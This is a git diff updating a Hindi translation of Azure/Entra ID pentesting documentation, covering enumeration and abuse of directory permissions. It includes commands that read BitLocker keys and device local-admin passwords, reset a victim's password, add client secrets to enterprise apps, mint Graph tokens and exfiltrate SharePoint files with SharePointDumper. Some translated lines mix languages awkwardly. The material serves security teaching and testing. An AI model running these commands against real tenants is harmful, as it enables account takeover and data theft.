+यह permission attackers को स्वयं को devices के owners के रूप में असाइन करने की अनुमति देता है, जिससे वे device-specific settings और data का नियंत्रण या पहुँच प्राप्त कर सकते हैं।
 ```bash
 deviceId="<deviceId>"
 userId="<userId>"
@@ -271,7 +376,7 @@ az rest --method POST \
 ```
 ### `microsoft.directory/devices/registeredUsers/update`
 
-यह अनुमति हमलावरों को अपने खाते को उपकरणों के साथ जोड़ने की अनुमति देती है ताकि वे पहुंच प्राप्त कर सकें या सुरक्षा नीतियों को बायपास कर सकें।
+यह अनुमति हमलावरों को अपने खाते को डिवाइसों से जोड़कर पहुँच प्राप्त करने या सुरक्षा नीतियों को बायपास करने की अनुमति देती है।
 ```bash
 deviceId="<deviceId>"
 userId="<userId>"
@@ -282,7 +387,7 @@ az rest --method POST \
 ```
 ### `microsoft.directory/deviceLocalCredentials/password/read`
 
-यह अनुमति हमलावरों को Microsoft Entra से जुड़े उपकरणों के बैकअप स्थानीय व्यवस्थापक खाता क्रेडेंशियल्स की विशेषताओं को पढ़ने की अनुमति देती है, जिसमें पासवर्ड भी शामिल है।
+यह अनुमति हमलावरों को Microsoft Entra joined devices के लिए बैकअप किए गए स्थानीय प्रशासक खाते के credentials की विशेषताएँ पढ़ने की अनुमति देती है, जिसमें password भी शामिल है।
 ```bash
 # List deviceLocalCredentials
 az rest --method GET \
@@ -297,7 +402,7 @@ az rest --method GET \
 
 ### `microsoft.directory/bitlockerKeys/key/read`
 
-यह अनुमति BitLocker कुंजियों तक पहुँचने की अनुमति देती है, जो एक हमलावर को ड्राइव को डिक्रिप्ट करने की अनुमति दे सकती है, जिससे डेटा की गोपनीयता का उल्लंघन हो सकता है।
+यह permission BitLocker keys तक access करने की अनुमति देता है, जो एक attacker को drives को decrypt करने में सक्षम बना सकता है और इससे data की confidentiality compromise हो सकती है।
 ```bash
 # List recovery keys
 az rest --method GET \
@@ -308,7 +413,7 @@ recoveryKeyId="<recoveryKeyId>"
 az rest --method GET \
 --uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
 ```
-## अन्य दिलचस्प अनुमतियाँ (TODO)
+## अन्य रोचक permissions (TODO)
 
 - `microsoft.directory/applications/permissions/update`
 - `microsoft.directory/servicePrincipals/permissions/update`
diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md
index 65acf7ef8..e0d32c122 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md
@@ -4,11 +4,11 @@
 
 ## बुनियादी जानकारी
 
-Azure Active Directory (Azure AD) Microsoft की क्लाउड-आधारित सेवा है जो पहचान और अभिगम प्रबंधन के लिए कार्य करती है। यह कर्मचारियों को साइन इन करने और संगठन के भीतर तथा बाहर दोनों जगह संसाधनों तक पहुँच प्राप्त करने में सक्षम बनाती है, जिनमें Microsoft 365, the Azure portal, और कई अन्य SaaS एप्लिकेशन शामिल हैं। Azure AD का डिज़ाइन आवश्यक पहचान सेवाएँ प्रदान करने पर केंद्रित है, जिनमें विशेष रूप से **प्रमाणीकरण, प्राधिकरण, और उपयोगकर्ता प्रबंधन** शामिल हैं।
+Azure Active Directory (Azure AD) Microsoft का क्लाउड-आधारित सेवा है जो पहचान और पहुँच प्रबंधन (identity and access management) के लिए उपयोग होती है। यह कर्मचारियों को साइन-इन करने और संस्थान के भीतर तथा बाहर के संसाधनों—जैसे Microsoft 365, the Azure portal, और कई अन्य SaaS एप्लिकेशनों—तक पहुँच प्रदान करने में महत्वपूर्ण भूमिका निभाती है। Azure AD का डिज़ाइन आवश्यक पहचान सेवाएँ प्रदान करने पर केंद्रित है, जिनमें प्रमुख रूप से **प्रमाणीकरण, प्राधिकरण, और उपयोगकर्ता प्रबंधन** शामिल हैं।
 
-Azure AD की प्रमुख विशेषताओं में **मल्टी-फैक्टर ऑथेंटिकेशन** और **कंडीशनल एक्सेस** का समावेश है, साथ ही यह अन्य Microsoft सुरक्षा सेवाओं के साथ सहज एकीकरण प्रदान करता है। ये सुविधाएँ उपयोगकर्ता पहचान की सुरक्षा को महत्वपूर्ण रूप से बढ़ाती हैं और संगठनों को अपनी एक्सेस नीतियों को प्रभावी ढंग से लागू और प्रवर्तन करने में सक्षम बनाती हैं। Microsoft के क्लाउड सेवाओं के इकोसिस्टम के एक मौलिक घटक के रूप में, Azure AD उपयोगकर्ता पहचान के क्लाउड-आधारित प्रबंधन के लिए केंद्रीय भूमिका निभाता है।
+Azure AD की प्रमुख विशेषताओं में **बहु-कारक प्रमाणीकरण** और **शर्तीय पहुँच** शामिल हैं, साथ ही यह अन्य Microsoft सुरक्षा सेवाओं के साथ सहज एकीकरण भी प्रदान करता है। ये सुविधाएँ उपयोगकर्ता पहचान की सुरक्षा को काफी बढ़ाती हैं और संगठनों को अपनी एक्सेस नीतियों को प्रभावी ढंग से लागू और प्रवर्तित करने के लिए सक्षम बनाती हैं। Microsoft के क्लाउड सेवा पारिस्थितिकी तंत्र के एक मौलिक घटक के रूप में, Azure AD उपयोगकर्ता पहचान के क्लाउड-आधारित प्रबंधन के लिए केंद्रीय महत्व रखता है।
 
-## सूचीकरण
+## एन्यूमरेशन
 
 ### **कनेक्शन**
 
@@ -185,13 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
 {{#endtab }}
 {{#endtabs }}
 
-जब आप किसी प्रोग्राम से **CLI** के माध्यम से **Azure** में **login** करते हैं, तो आप **Microsoft** के अंतर्गत आने वाले किसी **tenant** का एक **Azure Application** उपयोग कर रहे होते हैं। ये Applications, जैसे आप अपने खाते में बना सकते हैं, **have a client id**।
+जब आप किसी भी प्रोग्राम के साथ **CLI** के माध्यम से **login** करके Azure में प्रवेश करते हैं, तो आप **Microsoft** के एक **tenant** से संबंधित एक **Azure Application** का उपयोग कर रहे होते हैं। ये Applications, जैसे कि आप अपने खाते में बना सकते हैं, **have a client id**। आप कंसोल में दिखाई जाने वाली **allowed applications lists** में उन्हें **won't be able to see all of them** नहीं देख पाएँगे, **but they are allowed by default**।
 
-आप **won't be able to see all of them** उन **allowed applications lists** में नहीं देख पाएँगे जो console में दिखती हैं, **but they are allowed by default**।
+उदाहरण के लिए एक **powershell script** जो **authenticates** करता है, वह client id **`1950a258-227b-4e31-a9cf-717495945fc2`** वाले एक App का उपयोग करती है। भले ही ऐप कंसोल में न दिखाई दे, एक sysadmin वह **block that application** कर सकता है ताकि उपयोगकर्ता उन टूल्स से जिनका कनेक्शन उस App के माध्यम से होता है, एक्सेस न कर सकें।
 
-उदाहरण के लिए एक **powershell script** जो **authenticates** करती है, वह client id **`1950a258-227b-4e31-a9cf-717495945fc2`** वाले एक app का उपयोग करती है। भले ही वह app console में दिखाई न दे, एक sysadmin उस **block that application** कर सकता है ताकि users उन tools का उपयोग करके access न कर सकें जो उसी App के माध्यम से connect करते हैं।
-
-हालाँकि, ऐसे **other client-ids** भी हैं belonging to applications जो **will allow you to connect to Azure**:
+हालाँकि, ऐसी एप्लिकेशन के **other client-ids** भी मौजूद हैं जो आपको **will allow you to connect to Azure**:
 ```bash
 # The important part is the ClientId, which identifies the application to login inside Azure
 
@@ -216,7 +214,7 @@ $token = Invoke-Authorize -Credential $credential `
 -Verbose -Debug `
 -InformationAction Continue
 ```
-### टेनेंट्स
+### टेनेन्ट्स
 
 {{#tabs }}
 {{#tab name="az cli" }}
@@ -360,23 +358,23 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
 {{#endtab }}
 {{#endtabs }}
 
-#### उपयोगकर्ता पासवर्ड बदलें
+#### उपयोगकर्ता Password बदलें
 ```bash
 $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
 
 (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
 ```
-### MFA & Conditional Access Policies
+### MFA और Conditional Access नीतियाँ
 
-यह सलाह दी जाती है कि हर उपयोगकर्ता में MFA जोड़ा जाए; हालांकि, कुछ कंपनियाँ इसे सक्षम नहीं करतीं या इसे Conditional Access के साथ सेट कर सकती हैं: उपयोगकर्ता से **MFA आवश्यक होगा यदि** वह किसी विशिष्ट स्थान, ब्राउज़र या **किसी शर्त** से लॉग इन करता है। ये नीतियाँ, यदि सही तरीके से कॉन्फ़िगर न की जाएँ तो **bypasses** के प्रति संवेदनशील हो सकती हैं। देखें:
+हर उपयोगकर्ता के लिए MFA जोड़ना अत्यधिक अनुशंसित है, हालांकि कुछ कंपनियाँ इसे सेट नहीं करतीं या इसे Conditional Access के साथ सेट कर सकती हैं: उपयोगकर्ता को **MFA आवश्यक होगा यदि** वह किसी विशिष्ट स्थान, ब्राउज़र या **कुछ शर्त** से लॉगिन करता है। ये नीतियाँ, यदि सही तरीके से कॉन्फ़िगर नहीं की गईं, तो **bypasses** के प्रति संवेदनशील हो सकती हैं। जाँचें:
 
 {{#ref}}
 ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
 {{#endref}}
 
-### Groups
+### समूह
 
-Entra ID समूहों के बारे में अधिक जानकारी के लिए देखें:
+Entra ID groups के बारे में अधिक जानकारी के लिए देखें:
 
 {{#ref}}
 ../az-basic-information/
@@ -485,13 +483,13 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
 
 #### समूह में उपयोगकर्ता जोड़ें
 
-समूह के मालिक समूह में नए उपयोगकर्ताओं को जोड़ सकते हैं
+समूह के मालिक समूह में नए उपयोगकर्ता जोड़ सकते हैं।
 ```bash
 Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
 ```
 > [!WARNING]
-> Groups dynamic हो सकते हैं, जिसका मूलतः मतलब है कि **if a user fulfil certain conditions it will be added to a group**. बेशक, अगर शर्तें **attributes** पर आधारित हों जिन्हें कोई **user** **control** कर सकता है, तो वह इस फीचर का दुरुपयोग करके **get inside other groups** कर सकता है.\\
-> निम्नलिखित पृष्ठ में देखें कि dynamic groups का दुरुपयोग कैसे करें:
+> Groups dynamic हो सकते हैं, जिसका मूलतः मतलब है कि **यदि एक user कुछ शर्तें पूरी करता है तो उसे एक group में जोड़ा जाएगा**। बेशक, यदि शर्तें **attributes** पर आधारित हों जिन्हें कोई **user** नियंत्रित कर सकता है, तो वह इस सुविधा का दुरुपयोग कर **other groups में प्रवेश कर सकता है**।\
+> नीचे दिए पृष्ठ में देखें कि dynamic groups का दुरुपयोग कैसे करें:
 
 {{#ref}}
 ../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
@@ -600,11 +598,11 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
 {{#endtabs }}
 
 > [!WARNING]
-> Service Principal का Owner इसका पासवर्ड बदल सकता है।
+> Service Principal का Owner इसका password बदल सकता है।
 
 <details>
 
-<summary>प्रत्येक Enterprise App पर client secret सूचीबद्ध करें और जोड़ने का प्रयास करें</summary>
+<summary>सूची बनाएं और प्रत्येक Enterprise App पर client secret जोड़ने का प्रयास करें</summary>
 ```bash
 # Just call Add-AzADAppSecret
 Function Add-AzADAppSecret
@@ -709,18 +707,18 @@ Write-Output "Failed to Enumerate the Applications."
 ```
 </details>
 
-### एप्लिकेशन
+### Applications
 
-एप्लिकेशन के बारे में अधिक जानकारी के लिए देखें:
+For more information about Applications check:
 
 {{#ref}}
 ../az-basic-information/
 {{#endref}}
 
-जब एक App जनरेट किया जाता है तो 2 प्रकार की अनुमतियाँ दी जाती हैं:
+जब एक App जनरेट होता है तो 2 प्रकार की permissions दी जाती हैं:
 
-- **अनुमतियाँ** जिन्हें **Service Principal** को दिया जाता है
-- **अनुमतियाँ** जो **app** के पास हो सकती हैं और **उपयोगकर्ता की ओर से** उपयोग की जा सकती हैं।
+- **Permissions** जो **Service Principal** को दिए जाते हैं
+- **Permissions** जो **app** के पास हो सकती हैं और जिन्हें वह **user** की ओर से उपयोग कर सकता है।
 
 {{#tabs }}
 {{#tab name="az cli" }}
@@ -773,6 +771,81 @@ az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2Permiss
 az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
 az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
 ```
+<details>
+<summary>non-Microsoft APIs के लिए API permissions वाले सभी एप्लिकेशन ढूँढें (az cli)</summary>
+```bash
+#!/usr/bin/env bash
+set -euo pipefail
+
+# Known Microsoft first-party owner organization IDs.
+MICROSOFT_OWNER_ORG_IDS=(
+"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
+"72f988bf-86f1-41af-91ab-2d7cd011db47"
+)
+
+is_microsoft_owner() {
+local owner="$1"
+local id
+for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
+if [ "$owner" = "$id" ]; then
+return 0
+fi
+done
+return 1
+}
+
+command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
+command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
+az account show >/dev/null
+
+apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
+
+tmp_map="$(mktemp)"
+tmp_ids="$(mktemp)"
+trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
+
+# Build unique resourceAppId values used by applications.
+jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
+
+# Resolve resourceAppId -> owner organization + API display name.
+while IFS= read -r rid; do
+[ -n "$rid" ] || continue
+sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
+owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
+name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
+printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
+done < "$tmp_ids"
+
+echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
+
+# Print only app permissions where the target API is NOT Microsoft-owned.
+while IFS= read -r row; do
+app_name="$(jq -r '.[0]' <<<"$row")"
+app_id="$(jq -r '.[1]' <<<"$row")"
+
+while IFS= read -r rra; do
+resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
+map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
+owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
+resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
+
+[ -n "$owner_org" ] || owner_org="UNKNOWN"
+[ -n "$resource_name" ] || resource_name="UNKNOWN"
+
+if is_microsoft_owner "$owner_org"; then
+continue
+fi
+
+while IFS= read -r access; do
+perm_type="$(jq -r '.type' <<<"$access")"
+perm_id="$(jq -r '.id' <<<"$access")"
+echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
+done < <(jq -c '.resourceAccess[]' <<<"$rra")
+done < <(jq -c '.[2][]' <<<"$row")
+done < <(jq -c '.[]' <<<"$apps_json")
+```
+</details>
+
 {{#endtab }}
 
 {{#tab name="Az" }}
@@ -822,15 +895,15 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
 {{#endtabs }}
 
 > [!WARNING]
-> An app with the permission **`AppRoleAssignment.ReadWrite`** can **escalate to Global Admin** by grating itself the role.\
-> अधिक जानकारी के लिए [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
+> एक एप्लिकेशन जिसके पास अनुमति **`AppRoleAssignment.ReadWrite`** है, वह खुद को भूमिका देकर **Global Admin** तक एस्केलेट कर सकता है।\
+> For more information [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
 
 > [!NOTE]
-> टोकन अनुरोध करते समय अपनी पहचान साबित करने के लिए application जिस secret string का उपयोग करता है वह application password है।\
-> इसलिए, यदि आप यह **password** पा लेते हैं तो आप **service principal** के रूप में **tenant** के अंदर access कर सकते हैं।\
-> ध्यान दें कि यह password केवल इसे generate करने पर ही दिखाई देता है (आप इसे बदल सकते हैं पर फिर से प्राप्त नहीं कर सकते)।\
-> The **owner** of the **application** can **add a password** to it (so he can impersonate it).\
-> इन service principals के रूप में किए गए logins **not marked as risky** होते हैं और वे **won't have MFA.**
+> एक secret string जो application token का अनुरोध करते समय अपनी पहचान साबित करने के लिए उपयोग करता है वह application password होता है।\
+> इसलिए, अगर आप यह **password** ढूंढते हैं तो आप **service principal** **inside** the **tenant** के रूप में access कर सकते हैं।\
+> ध्यान दें कि यह password केवल जनरेट करने के समय ही दिखाई देता है (आप इसे बदल सकते हैं लेकिन इसे फिर से प्राप्त नहीं कर सकते)।\
+> किसी **application** का **owner** इसमें **add a password** कर सकता है (ताकि वह इसे impersonate कर सके)।\
+> इन service principals के रूप में लॉगिन्स **not marked as risky** होते हैं और इन्हें **won't have MFA.**
 
 It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
 
@@ -941,7 +1014,7 @@ Headers = @{
 
 ### Entra ID भूमिकाएँ
 
-Azure भूमिकाओं के बारे में अधिक जानकारी के लिए देखें:
+Azure roles के बारे में अधिक जानकारी के लिए देखें:
 
 {{#ref}}
 ../az-basic-information/
@@ -1012,7 +1085,7 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl *
 {{#endtab }}
 {{#endtabs }}
 
-### डिवाइस
+### उपकरण
 
 {{#tabs }}
 {{#tab name="az cli" }}
@@ -1062,12 +1135,12 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
 {{#endtabs }}
 
 > [!WARNING]
-> यदि कोई डिवाइस (VM) **AzureAD joined** है, तो AzureAD के उपयोगकर्ता **लॉगिन करने में सक्षम होंगे**.\
-> इसके अलावा, यदि लॉग किए गए उपयोगकर्ता उस डिवाइस का **Owner** है, तो वह **local admin** होगा।
+> यदि कोई डिवाइस (VM) **AzureAD joined** है, AzureAD के users **लॉगिन करने में सक्षम** होंगे।\
+> इसके अलावा, यदि लॉग इन किया हुआ user उस डिवाइस का **Owner** है, तो वह **local admin** होगा।
 
-### प्रशासनिक इकाइयाँ
+### प्रशासनिक यूनिट्स
 
-प्रशासनिक इकाइयों के बारे में अधिक जानकारी के लिए देखें:
+Administrative Units के बारे में अधिक जानकारी के लिए देखें:
 
 {{#ref}}
 ../az-basic-information/
@@ -1104,12 +1177,12 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
 
 ## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
 
-हमलावर जिनके पास **delegated Microsoft Graph token** हो जिसमें **`Sites.Read.All`** या **`Sites.ReadWrite.All`** शामिल हो, वे Graph के माध्यम से **sites/drives/items** को सूचीबद्ध (enumerate) कर सकते हैं और फिर **SharePoint pre-authentication download URLs** के जरिए **file contents** को pull कर सकते हैं (time-limited URLs जो access token एम्बेड करते हैं)। [SharePointDumper](https://github.com/zh54321/SharePointDumper) स्क्रिप्ट पूरे फ्लो (enumeration → pre-auth downloads) को ऑटोमेट करती है और detection testing के लिए प्रति-रिक्वेस्ट telemetry जारी करती है।
+ऐसे हमलावर जिनके पास एक **delegated Microsoft Graph token** है जिसमें **`Sites.Read.All`** या **`Sites.ReadWrite.All`** शामिल है, Graph के जरिए **sites/drives/items** को सूचीबद्ध कर सकते हैं और फिर **SharePoint pre-authentication download URLs** के माध्यम से फ़ाइल सामग्री प्राप्त कर सकते हैं (ये time-limited URLs एक access token embed करती हैं)। The [SharePointDumper](https://github.com/zh54321/SharePointDumper) स्क्रिप्ट पूरे फ्लो (enumeration → pre-auth downloads) को ऑटोमेट करती है और detection testing के लिये प्रति-रिक्वेस्ट telemetry जारी करती है।
 
 ### Obtaining usable delegated tokens
 
-- SharePointDumper स्वयं **authenticate नहीं करता**; एक access token दें (वैकल्पिक रूप से refresh token)।
-- Pre-consented **first-party clients** का दुरुपयोग करके बिना किसी app को register किए Graph token mint किया जा सकता है। उदाहरण `Invoke-Auth` (from [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) invocations:
+- SharePointDumper स्वयं **प्रमाणीकरण नहीं करता**; एक access token प्रदान करें (वैकल्पिक रूप से refresh token)।
+- Pre-consented **first-party clients** का दुरुपयोग कर बिना किसी ऐप को रजिस्टर किये Graph token बनाया जा सकता है। उदाहरण `Invoke-Auth` (from [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) के invocations:
 ```powershell
 # CAE requested by default; yields long-lived (~24h) access token
 Import-Module ./EntraTokenAid/EntraTokenAid.psm1
@@ -1122,19 +1195,19 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https
 Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
 ```
 > [!NOTE]
-> FOCI TRUE क्लाइंट्स डिवाइसों के बीच refresh को सपोर्ट करते हैं; FOCI FALSE क्लाइंट्स अक्सर reply URL origin validation को संतुष्ट करने के लिए `-Origin` की आवश्यकता होती है।
+> FOCI TRUE क्लाइंट्स डिवाइसों के बीच refresh को सपोर्ट करते हैं; FOCI FALSE क्लाइंट्स अक्सर `-Origin` की आवश्यकता होती है ताकि reply URL origin validation को संतुष्ट किया जा सके।
 
-### enumeration + exfiltration के लिए SharePointDumper चलाना
+### SharePointDumper को enumeration + exfiltration के लिए चलाना
 
-- Custom UA / proxy / throttling के साथ Basic dump:
+- बेसिक dump कस्टम UA / proxy / throttling के साथ:
 ```powershell
 .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
 ```
-- स्कोप नियंत्रण: साइटों या एक्सटेंशनों को शामिल/बाहर करें और वैश्विक सीमाएँ:
+- स्कोप नियंत्रण: साइटों या एक्सटेंशन्स को शामिल/बहिष्कृत करें और वैश्विक सीमाएँ:
 ```powershell
 .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
 ```
-- **फिर से जारी रखें** रुके हुए रन (फिर से सूचीबद्ध करता है लेकिन डाउनलोड किए गए आइटम छोड़ देता है):
+- **पुनः आरंभ** रुके हुए रन को फिर से जारी रखें (re-enumerates लेकिन डाउनलोड किए गए आइटम्स को छोड़ देता है):
 ```powershell
 .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
 ```
@@ -1145,9 +1218,9 @@ Import-Module ./EntraTokenAid/EntraTokenAid.psm1
 ```
 ऑपरेशनल नोट्स:
 
-- मध्य-रन समाप्ति से बचने के लिए **CAE-enabled** टोकन पसंद करता है; टूल के API लॉग में रिफ्रेश प्रयास **लॉग नहीं** होते।
-- **Graph + SharePoint** के लिए **CSV/JSON request logs** जनरेट करता है और एम्बेड किए गए SharePoint download tokens को डिफ़ॉल्ट रूप से रेडैक्ट करता है (ऑन/ऑफ किया जा सकता है)।
-- डिटेक्शन/IR टेस्ट के दौरान ट्रैफ़िक शेपिंग के लिए **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, और **Ctrl+C-safe shutdown** सपोर्ट करता है।
+- मध्य-रन एक्सपायरी से बचने के लिए **CAE-enabled** tokens को प्राथमिकता देता है; refresh प्रयास टूल के API लॉग में **नहीं** रिकॉर्ड होते।
+- **Graph + SharePoint** के लिए **CSV/JSON request logs** बनाता है और डिफ़ॉल्ट रूप से एम्बेडेड SharePoint download tokens को redact/छिपाता है (toggleable)।
+- traffic shaping के लिए detection/IR tests के दौरान **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, और **Ctrl+C-safe shutdown** का समर्थन करता है।
 
 ## Entra ID Privilege Escalation
 
@@ -1165,29 +1238,29 @@ Import-Module ./EntraTokenAid/EntraTokenAid.psm1
 
 ### Privileged Identity Management (PIM)
 
-Privileged Identity Management (PIM) Azure में उपयोगकर्ताओं को अनावश्यक रूप से अत्यधिक अधिकार दिए जाने से **रोकने** में मदद करता है।
+Azure में Privileged Identity Management (PIM) अनावश्यक रूप से उपयोगकर्ताओं को अत्यधिक privileges असाइन होने से रोकने में मदद करता है।
 
-PIM की एक प्रमुख विशेषता यह है कि यह लगातार सक्रिय principals को roles असाइन न करने और उन्हें एक समयावधि के लिए **eligible for a period of time (e.g. 6months)** बनाने की अनुमति देता है। फिर, जब भी user उस role को सक्रिय करना चाहता है, उसे वह समय बताकर request करनी होगी जिस अवधि के लिए उसे privilege चाहिए (उदा. 3 hours)। फिर एक **admin needs to approve** the request.\
-ध्यान दें कि user समय को **extend** करने के लिए भी अनुरोध कर सकेगा।
+PIM की एक मुख्य विशेषताओं में से एक यह है कि यह लगातार सक्रिय principals को रोल असाइन करने के बजाय उन्हें एक निश्चित अवधि (उदा. 6months) के लिए eligible बनाता है। फिर, जब भी उपयोगकर्ता उस रोल को सक्रिय करना चाहता है, उसे उस समय की अवधि बताकर अनुरोध करना होता है जिस समय के लिए उसे privilege चाहिए (उदा. 3 घंटे)। फिर एक **admin को अनुरोध approve** करना होता है।\
+नोट: उपयोगकर्ता समय को **extend** करने का अनुरोध भी कर सकेगा।
 
-इसके अलावा, **PIM send emails** जब भी किसी को privileged role असाइन किया जा रहा हो।
+इसके अलावा, **PIM ईमेल भेजता है** जब भी कोई privileged role किसी को असाइन किया जाता है।
 
 <figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
 
-जब PIM सक्षम होता है, तो प्रत्येक role को निम्नलिखित आवश्यकताओं के साथ configure करना संभव है:
+जब PIM सक्षम होता है तो प्रत्येक रोल को कुछ आवश्यकताओं के साथ कॉन्फ़िगर करना संभव है जैसे:
 
-- सक्रियकरण की अधिकतम अवधि (घंटों में)
-- सक्रियकरण पर MFA आवश्यक
+- एक्टिवेशन की अधिकतम अवधि (घंटों में)
+- एक्टिवेशन पर MFA की आवश्यकता
 - Conditional Access authentication context की आवश्यकता
-- सक्रियकरण पर justification आवश्यक
-- सक्रियकरण पर ticket जानकारी आवश्यक
-- सक्रिय करने के लिए approval आवश्यक
-- eligible assignments समाप्त होने का अधिकतम समय
-- उस role के साथ कुछ क्रियाएँ होने पर कब और किसे notifications भेजनी हैं, इस पर और भी कई configurations
+- एक्टिवेशन पर justification की आवश्यकता
+- एक्टिवेशन पर ticket जानकारी की आवश्यकता
+- सक्रिय करने के लिए approval की आवश्यकता
+- eligible assignments के समाप्त होने का अधिकतम समय
+- उस रोल से संबंधित कुछ क्रियाएँ होने पर कब और किसे सूचनाएँ भेजनी हैं, आदि पर और बहुत सारी configuration
 
 ### Conditional Access Policies
 
-देखें:
+जाँच करें:
 
 {{#ref}}
 ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -1195,27 +1268,27 @@ PIM की एक प्रमुख विशेषता यह है कि
 
 ### Entra Identity Protection
 
-Entra Identity Protection एक security service है जो यह **पता लगाने** की अनुमति देता है कि कब कोई user या sign-in स्वीकार करने के लिहाज़ से बहुत risky है, और user या उस sign-in attempt को **ब्लॉक** करने की अनुमति देता है।
+Entra Identity Protection एक सुरक्षा सेवा है जो यह सक्षम बनाती है कि कब कोई user या sign-in स्वीकार करने के लिए बहुत risky है इसे **detect** किया जा सके, और आवश्यक होने पर user या sign-in attempt को **block** किया जा सके।
 
-यह admin को configure करने देता है कि प्रयासों को कब **ब्लॉक** किया जाए — जब जोखिम "Low and above", "Medium and above" या "High" हो। हालाँकि, डिफ़ॉल्ट रूप से यह पूरी तरह से **disabled** है:
+यह admin को यह कॉन्फ़िगर करने की अनुमति देता है कि प्रयासों को तब **block** करें जब risk "Low and above", "Medium and above" या "High" हो। हालाँकि, डिफ़ॉल्ट रूप से यह पूरी तरह से **disabled** है:
 
 <figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
 
 > [!TIP]
-> आजकल यह सुझाया जाता है कि इन्हें Conditional Access policies के माध्यम से जोड़ा जाए जहाँ समान विकल्प configure किए जा सकते हैं।
+> आजकल अनुशंसित है कि जहां संभव हो इन प्रतिबंधों को Conditional Access policies के माध्यम से जोड़ा जाए क्योंकि वहां समान विकल्प कॉन्फ़िगर किए जा सकते हैं।
 
 ### Entra Password Protection
 
-Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) एक security feature है जो **कमज़ोर पासवर्ड के दुरुपयोग को रोकने में मदद करता है — कई असफल लॉगिन प्रयास होने पर खातों को लॉक कर देता है**।\
-यह आपको एक कस्टम पासवर्ड सूची **ban** करने की भी अनुमति देता है जिसे आपको प्रदान करना होता है।
